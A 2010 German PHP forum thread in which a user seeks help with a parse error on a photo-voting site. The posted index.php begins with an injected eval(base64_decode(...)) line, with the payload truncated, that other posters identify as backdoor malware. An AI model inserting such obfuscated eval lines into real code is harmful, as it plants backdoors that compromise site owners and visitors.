1. Dashboard
  2. Artikel
  3. Mitglieder
    1. Letzte Aktivitäten
    2. Benutzer online
    3. Team
    4. Mitgliedersuche
  4. Forum
    1. Unerledigte Themen
  • Anmelden
  • Registrieren
  • Suche
Dieses Thema
  • Alles
  • Dieses Thema
  • Dieses Forum
  • Artikel
  • Seiten
  • Forum
  • Erweiterte Suche
  1. HTML - Webmaster Forum
  2. Programmierung - Entwickler Forum
  3. PHP Forum - Apache - CGI - Perl - JavaScript und Co.

Parse error

  • Löffel
  • 10. Januar 2010 um 22:20
  • Löffel
    Anfänger
    Beiträge
    4
    • 10. Januar 2010 um 22:20
    • #1

    Hallo,
    ich habe bei einer Votingseite (User können Bilder hochladen, die können andere bewerten) eine Datenbankumstellung vorgenommen.

    Das kuriose ist, dass die Seite nach der Umstellung erst mal einwandfrei funktioniert hat. Jetzt geht aber auf einmal gar nix mehr und ich bekomme diesen Parse Error aus der Index.php, dabei hab ich in der Datei selbst nicht mal rumgefummelt.

    FEHLERMELDUNG:

    Zitat

    Parse error: syntax error, unexpected ',', expecting '(' in /absolut_path/index.php on line 20

    INDEX.PHP; LINE 20:

    Zitat

    $res = mysqli_query( CMYSQL_I::$conn, "SELECT ENTRY_ID, FIRSTNAME, BIRTHDAY FROM ENTRY WHERE APPROVED=1 ORDER BY RAND() LIMIT 18" );

    Woran kann es liegen?
    Ich hab sowas noch nicht erlebt.

  • webcoolcity
    Teeny
    Beiträge
    44
    • 10. Januar 2010 um 22:38
    • #2

    hi, es könnte sein das der fehler weiter ob ist !, daher poste bitte mehr code!

  • Löffel
    Anfänger
    Beiträge
    4
    • 10. Januar 2010 um 22:57
    • #3

    Das hier wäre der rest der index.php:

    Zitat

    <?php /**/eval(base64_decode('awyoznvuy......n0yxj0kcdkz29ia ccpo319fq==')); ?>
    <?php
    require_once '../std/php-includes/class/tmpl.php';
    require_once 'mysql_i.php';
    $t = new tmpl;


    cmysql_i::login();

    $res = mysqli_query( cmysql_i::$conn, "select entry_id, firstname, birthday from entry where approved=1 order by rand() limit 18" );


    $arr = array();

    while($obj = mysqli_fetch_object($res))
    {
    $arr[] = $obj;
    }

    mysqli_free_result($res);
    cmysql_i::logout();

    $t->set("arr", $arr);
    $t->show("index.php");
    ?>

    Alles anzeigen
  • webcoolcity
    Teeny
    Beiträge
    44
    • 10. Januar 2010 um 23:01
    • #4

    schreib das:

    require_once '../std/php-includes/class/tmpl.php';
    require_once 'mysql_i.php';

    mal so:

    require_once('../std/php-includes/class/tmpl.php');
    require_once('mysql_i.php');

    sonst sehe ich auf dem ersten bilick nichts was es sein könnte !

    axo Typo 3 find ich jetzt nicht so toll !!!!!!!

    2 Mal editiert, zuletzt von webcoolcity (10. Januar 2010 um 23:04)

  • The User
    Forum Guru
    Beiträge
    4.044
    • 10. Januar 2010 um 23:11
    • #5

    Ist soweit vom Parsen eigentlich alles in Ordnung.

    Freiheit bedeutet mehr.

    "Mir ist die gefährliche Freiheit lieber als eine ruhige Knechtschaft."
    (Jean Jacques Rousseau)
    Mein Blog zum Programmieren, GNU/Linux etc.
    Free Chelsea Manning!
    Stolzer Nutzer von KDE, openSUSE und Qt.

  • Löffel
    Anfänger
    Beiträge
    4
    • 10. Januar 2010 um 23:34
    • #6

    Ich habe es mak im Code mit folgendem Ersatzfragment versucht:

    Zitat

    require_once '../std/php-includes/class/tmpl.php';
    require_once 'mysql_i.php';


    Das hat nicht geklappt.

    Wie gesagt, die Seite hat ja auch funktioniert und dann auf einmal war sie weg. Im Code habe ich nichts geändert.

    PS: Ich möchte Dich bitten, die Diskusion hier forzuführen. Als ich den Eintrag erstellt habe, war mir nicht bewusste, das CROSSPOSTING unerwünscht ist. Ich mnach das hier zum ersten mal.

    http://www.php.de/php-einsteiger…html#post482785

  • The User
    Forum Guru
    Beiträge
    4.044
    • 11. Januar 2010 um 00:13
    • #7

    Du, ich registrier mich jetzt nicht sonst wo. Fest steht: Die Syntax ist korrekt, bei mir gibt es keinen Parse-Fehler. Überprüf das nochmal. Vllt. bist du bei der falschen Datei, falsch kopiert oder sonst was.

    Freiheit bedeutet mehr.

    "Mir ist die gefährliche Freiheit lieber als eine ruhige Knechtschaft."
    (Jean Jacques Rousseau)
    Mein Blog zum Programmieren, GNU/Linux etc.
    Free Chelsea Manning!
    Stolzer Nutzer von KDE, openSUSE und Qt.

  • Löffel
    Anfänger
    Beiträge
    4
    • 11. Januar 2010 um 01:03
    • #8

    Das andere Forum hat jetzt den Threat zu gemacht, bevor ich eine Erklärung posten konnte, daher möchte ich die Diskusion hier gerne wieder aufnehmen.

    Ich hab auf jeden Fall die richtige Datei genommen und hier rein geposted, auf den der Fehler verweist. Ich kann mir das auch nicht erklären, vor allem weil es ja schon mal funktioniert hat.

  • jojo87
    der/die Göttliche
    Reaktionen
    6
    Beiträge
    3.131
    • 11. Januar 2010 um 07:01
    • #9

    sehe auch keine Parse-Errors in dem Code.
    übrigens: was macht das eyal() dort?!?


  • Unregistriert
    Gast
    • 11. Januar 2010 um 14:03
    • #10

    Das eval garantiert den Zugriff auf die backdoor. Das ist Schadcode.

  • jojo87
    der/die Göttliche
    Reaktionen
    6
    Beiträge
    3.131
    • 11. Januar 2010 um 16:58
    • #11

    du hast also Schadcode drinne und suchst nach Fehlern?
    Dann hat sich der Thread wohl erledigt. Was sollen wir uns da bitte noch Mühe geben?


  • webcoolcity
    Teeny
    Beiträge
    44
    • 12. Januar 2010 um 23:40
    • #12

    Das sollte man hier sofort schließen :!:

    erwartest du wirklich jetzt noch eine Antwort von uns ?

  • jojo87
    der/die Göttliche
    Reaktionen
    6
    Beiträge
    3.131
    • 12. Januar 2010 um 23:57
    • #13

    Ich mache deswegen nicht zu, weil ich nicht weiss, wer der Gastposter war/ist.
    Der Threadersteller möge sich doch bitte mal erklären!


Tags

  • forum
  • hilfe
  • www
  • bilder
  • gas
  • http
  • code
  • php
  • fehler
  • thread
  • datei
  • index
  • rand
  • error
  • index.php
  • mysql
  • limit
  • zugriff
  • birthday
  • select
  • syntax
  • parse
  1. Datenschutzerklärung
  2. Impressum
Community-Software: WoltLab Suite™